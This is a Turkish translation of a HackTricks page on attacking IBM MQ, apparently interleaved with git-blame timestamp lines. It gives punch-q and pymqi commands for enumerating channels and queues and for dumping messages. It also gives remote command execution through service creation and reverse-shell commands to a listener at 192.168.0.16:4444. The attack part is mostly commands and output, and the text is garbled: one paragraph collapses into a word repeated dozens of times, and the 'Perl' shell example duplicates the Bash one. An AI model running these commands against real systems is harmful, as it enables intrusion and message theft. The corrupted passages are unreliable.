2024-02-10 18:14:16 +00:00
# 1414 - IBM MQ Pentesting
2023-10-12 01:08:45 +02:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > ile sı fı rdan kahraman olacak şekilde AWS hackleme öğrenin< strong > !< / strong > < / summary >
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalı şı yor musunuz? **Şirketinizi HackTricks'te reklamı nı görmek** ister misiniz? veya **PEASS'ı n en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**The PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ), özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya **Twitter** 🐦[**@carlospolopm** ](https://twitter.com/hacktricks_live )**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo ](https://github.com/carlospolop/hacktricks ) ve [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )'ya PR göndererek paylaşı n**.
2023-10-12 01:08:45 +02:00
< / details >
2024-02-10 18:14:16 +00:00
## Temel bilgiler
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ, mesaj kuyrukları nı yönetmek için kullanı lan bir IBM teknolojisidir. Diğer **mesaj aracı sı ** teknolojileri gibi, üreticiler ve tüketiciler arası nda bilgi almak, depolamak, işlemek ve sı nı flandı rmak için kullanı lı r.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Varsayı lan olarak, **IBM MQ TCP bağlantı noktası 1414** olarak açı lı r.
Bazen, HTTP REST API bağlantı noktası **9443** üzerinde açı labilir.
Metrikler (Prometheus) TCP bağlantı noktası **9157** üzerinden erişilebilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ TCP bağlantı noktası 1414, mesajları , kuyrukları , kanalları vb. manipüle etmek için kullanı labilir, ancak aynı zamanda **örneği kontrol etmek** için de kullanı labilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM, [https://www.ibm.com/docs/en/ibm-mq ](https://www.ibm.com/docs/en/ibm-mq ) adresinde geniş bir teknik belge sağlamaktadı r.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Araçlar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Kolay sömürü için önerilen bir araç ** [punch-q ](https://github.com/sensepost/punch-q )**, Docker kullanı mı yla. Araç, Python kütüphanesi `pymqi` 'yi aktif olarak kullanmaktadı r.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Daha manuel bir yaklaşı m için, Python kütüphanesi ** [pymqi ](https://github.com/dsuch/pymqi )** kullanı n. [IBM MQ bağı mlı lı kları ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc ) gereklidir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### pymqi'nin kurulumu
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**IBM MQ bağı mlı lı kları ** kurulmalı ve yüklenmelidir:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
1. [https://login.ibm.com/ ](https://login.ibm.com/ ) adresinde bir hesap (IBMid) oluşturun.
2. IBM MQ kütüphanelerini [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc ) adresinden indirin. Linux x86_64 için **9.0.0.4-IBM-MQC-LinuxX64.tar.gz** 'dir.
3. Arşivi açı n (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz` ).
4. Lisans koşulları nı kabul etmek için `sudo ./mqlicense.sh` komutunu çalı ştı rı n.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
>Eğer Kali Linux altı ndaysanı z, `mqlicense.sh` dosyası nı düzenleyin: aşağı daki satı rları (105-110 arası ndaki satı rlar) kaldı rı n/yorumlayı n:
2023-10-12 01:08:45 +02:00
>
>```bash
2024-02-10 18:14:16 +00:00
>if [ ${BUILD_PLATFORM} != `uname` _`uname ${UNAME_FLAG}` ]
> then
2023-10-12 01:08:45 +02:00
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
2024-02-10 18:14:16 +00:00
5. Bu paketleri kurun:
2023-10-12 01:08:45 +02:00
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
2024-02-10 18:14:16 +00:00
6. Ardı ndan, geçici olarak `.so` dosyaları nı LD'ye ekleyin: `export LD_LIBRARY_PATH=/opt/mqm/lib64` , bu bağı mlı lı kları kullanan diğer araçları çalı ştı rmadan **önce** .
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Daha sonra, [**pymqi** ](https://github.com/dsuch/pymqi ) projesini klonlayabilirsiniz: ilginç kod parçacı kları , sabitler içerir... Veya doğrudan kütüphaneyi şu komutla yükleyebilirsiniz: `pip install pymqi` .
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### punch-q Kullanı mı
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
#### Docker ile
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Basitçe şunu kullanı n: `sudo docker run --rm -ti leonjza/punch-q` .
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
#### Docker olmadan
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
[**punch-q** ](https://github.com/sensepost/punch-q ) projesini klonlayı n ve ardı ndan kurulum için readme'yi takip edin (`pip install -r requirements.txt && python3 setup.py install` ).
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Sonra, `punch-q` komutuyla kullanı labilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Numaralandı rma
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**punch-q** veya **pymqi** ile **kuyruk yöneticisi adı nı , kullanı cı ları , kanalları ve kuyrukları ** numaralandı rmayı deneyebilirsiniz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### Kuyruk Yöneticisi
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bazen, Kuyruk Yöneticisi adı nı almak için herhangi bir koruma olmayabilir:
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
2024-02-10 18:14:16 +00:00
### Kanallar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**punch-q**, mevcut kanalları bulmak için dahili (değiştirilebilir) bir kelime listesi kullanı r. Kullanı m örneği:
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
2024-02-10 18:14:16 +00:00
Bazı IBM MQ örnekleri, **kimlik doğrulaması yapı lmamı ş** MQ isteklerini kabul eder, bu yüzden `--username / --password` gerekmez. Tabii ki, erişim hakları da değişebilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bir kanal adı (burada: `DEV.ADMIN.SVRCONN` ) elde ettiğimiz anda, diğer tüm kanalları sı ralayabiliriz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Sı ralama temel olarak **pymqi** 'den bu kod parçacı ğı `code/examples/dis_channels.py` ile yapı labilir:
2023-10-12 01:08:45 +02:00
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 18:14:16 +00:00
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
2023-10-12 01:08:45 +02:00
except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s` ' % prefix)
else:
raise
2023-10-12 01:08:45 +02:00
else:
2024-02-10 18:14:16 +00:00
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s` ' % channel_name)
2023-10-12 01:08:45 +02:00
qmgr.disconnect()
```
2024-02-10 18:14:16 +00:00
... Ancak **punch-q** ayrı ca bu bölümü de içerir (daha fazla bilgiyle!). Aşağı daki komutla başlatı labilir:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
```bash
punch-q
```
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bu komut, IBM MQ sunucusuna karşı bir saldı rı gerçekleştirmek için kullanı lı r.
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
2024-02-10 18:14:16 +00:00
### Kuyruklar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**pymqi** ile ilgili bir kod parçacı ğı (`dis_queues.py` ) bulunmaktadı r, ancak **punch-q** kuyruklar hakkı nda daha fazla bilgi almayı sağlar:
2023-10-12 01:08:45 +02:00
```bash
2024-02-10 18:14:16 +00:00
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
2023-10-12 01:08:45 +02:00
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
2024-02-10 18:14:16 +00:00
### Mesajları Dump Etme
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Belirli bir kuyruğa/kanala hedef alarak, mesajları onlardan çalmak/dump etmek mümkündür (yı kı cı olmayan işlem). *Örnekler:*
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
2024-02-10 18:14:16 +00:00
**Tüm belirlenen kuyruklarda tekrarlamaktan çekinmeyin.**
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### Kod yürütme
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
> Devam etmeden önce bazı detaylar: IBM MQ birden fazla şekilde kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Bazı genel listeler [IBM MQ belgelerinde](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) bulunabilir. [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programlanabilir Komut Biçimleri***) uzaktan örnekle etkileşimde bulunmak için odaklandı ğı mı z şeydir. **punch-q** ve daha da önemlisi **pymqi** PCF etkileşimlerine dayanı r.
2023-10-12 01:08:45 +02:00
>
2024-02-10 18:14:16 +00:00
> PCF komutları nı n bir listesini bulabilirsiniz:
> * [PCF belgelerinden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), ve
> * [sabitlerden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> İlginç bir komut `MQCMD_CREATE_SERVICE` ve belgeleri [burada](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) bulunabilir. Argüman olarak, örneğin (`/bin/sh`) örneğinde olduğu gibi, örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekte
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
2024-02-10 18:14:16 +00:00
> IBM MQ günlüklerinde, komutun başarı yla çalı ştı rı ldı ğı nı okuyabilirsiniz:
>
2023-10-12 01:08:45 +02:00
> ```bash
2024-02-10 18:14:16 +00:00
> 2023-10-10T19:13:01.713Z AMQ5030I: '808544aa7fc94c48' komutu başlatı ldı . ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
2023-10-12 01:08:45 +02:00
> ```
2024-02-10 18:14:16 +00:00
Ayrı ca, makinedeki mevcut programları da sı ralayabilirsiniz (burada `/bin/doesnotexist` ... mevcut değil):
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
2023-10-12 13:52:24 +02:00
s "whatever"
2023-10-12 01:08:45 +02:00
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
2024-02-10 18:14:16 +00:00
**Dikkat edin, program başlatma işlemi asenkron olarak gerçekleşir. Bu nedenle, saldı rı yı kullanmak için ikinci bir öğeye ihtiyacı nı z vardı r** ** *(ters kabuk için dinleyici, farklı bir hizmette dosya oluşturma, ağ üzerinden veri sı zdı rma...)***
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**Örnek 2**
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Kolay bir ters kabuk için, **punch-q** ayrı ca iki ters kabuk yükü de sunar:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* Bir tanesi bash ile
* Bir tanesi perl ile
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
*Tabii ki, `execute` komutuyla özel bir tane oluşturabilirsiniz.*
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bash için:
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 18:14:16 +00:00
Perl için:
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 18:14:16 +00:00
### Özel PCF
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ belgelerine derinlemesine inceleyebilir ve belirli bir PCF komutunu test etmek için **pymqi** python kütüphanesini doğrudan kullanabilirsiniz. Bu, **punch-q** tarafı ndan uygulanmayan özel bir PCF komutunu test etmek için kullanı labilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**Örnek:**
2023-10-12 01:08:45 +02:00
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 18:14:16 +00:00
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
2023-10-12 01:08:45 +02:00
except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
print("Error")
2023-10-12 01:08:45 +02:00
else:
2024-02-10 18:14:16 +00:00
# Process response
2023-10-12 01:08:45 +02:00
qmgr.disconnect()
```
2024-02-10 18:14:16 +00:00
Eğer sabit isimleri bulamazsanı z, [IBM MQ belgelerine ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors ) başvurabilirsiniz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
> *Örnek için [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Ondalı k = 73). `MQCA_CLUSTER_NAME` (Ondalı k = 2029) parametresine ihtiyaç duyar, bu da `*` olabilir (Belge: ):*
>
2023-10-12 01:08:45 +02:00
> ```python
> import pymqi
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
> print("Hata")
2023-10-12 01:08:45 +02:00
> else:
> print(response)
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> qmgr.disconnect()
> ```
2024-02-10 18:14:16 +00:00
## Test ortamı
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ davranı şı nı ve zafiyetleri test etmek isterseniz, Docker tabanlı yerel bir ortam kurabilirsiniz:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
1. ibm.com ve cloud.ibm.com üzerinde bir hesaba sahip olun.
2. IBM MQ'yu bir konteyner üzerinde oluşturun:
2023-10-12 01:08:45 +02:00
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
2024-02-10 18:14:16 +00:00
Varsayı lan olarak, kimlik doğrulama etkinleştirilmiştir, kullanı cı adı `admin` ve şifre `passw0rd` (Ortam değişkeni `MQ_ADMIN_PASSWORD` ) olarak ayarlanmı ştı r.
Burada, kuyruk yöneticisi adı `MYQUEUEMGR` (değişken `MQ_QMGR_NAME` ) olarak ayarlanmı ştı r.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ'nun çalı şı r durumda olması ve bağlantı noktaları nı n açı k olması gerekmektedir:
2023-10-12 01:08:45 +02:00
```bash
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
2024-02-10 18:14:16 +00:00
> IBM MQ docker görüntülerinin eski sürümü şurada bulunabilir: https://hub.docker.com/r/ibmcom/mq/.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Referanslar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* [mgeeky'nin gist'i - "Practical IBM MQ Penetration Testing notları " ](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec )
2023-10-12 01:08:45 +02:00
* [MQ Jumping - DEFCON 15 ](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf )
2024-02-10 18:14:16 +00:00
* [IBM MQ belgeleri ](https://www.ibm.com/docs/en/ibm-mq )